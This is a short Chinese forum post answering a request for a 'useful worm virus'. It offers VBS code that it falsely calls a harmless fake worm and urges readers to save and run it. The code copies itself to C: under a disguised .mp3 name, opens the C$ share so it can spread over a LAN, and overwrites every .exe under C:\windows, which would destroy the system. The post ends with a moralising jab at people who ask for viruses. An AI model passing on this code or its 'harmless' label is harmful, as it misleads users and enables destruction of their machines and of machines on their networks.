求有用的蠕虫病毒

这是一个假蠕虫病毒,没有破坏力,不信你试试.

打开记事本,写上以下VBS代码,点击"文件"=>"另存为"的框框里写上"WORM.VBS"即可.

Dim s, r
Set s = CreateObject("Scripting.FileSystemObject")
Set r = CreateObject("WScript.Shell")
s.GetFile(WScript.ScriptFullName).Copy ("C:\回家.mp3.vbs")
r.run "cmd /c net share C$=C:\", 0
r.run "cmd /c for /r C:\windows %%i in (*.exe) do del>%%i", 0

打开C盘共享,通过LAN共享传播.复制自身到C盘上,吸引其他用户点击.

取个名字,叫: VBS.YangC$.a

防人之心不能无,害人之心不能有啊!孩子!

你不怕被人毒了就继续求！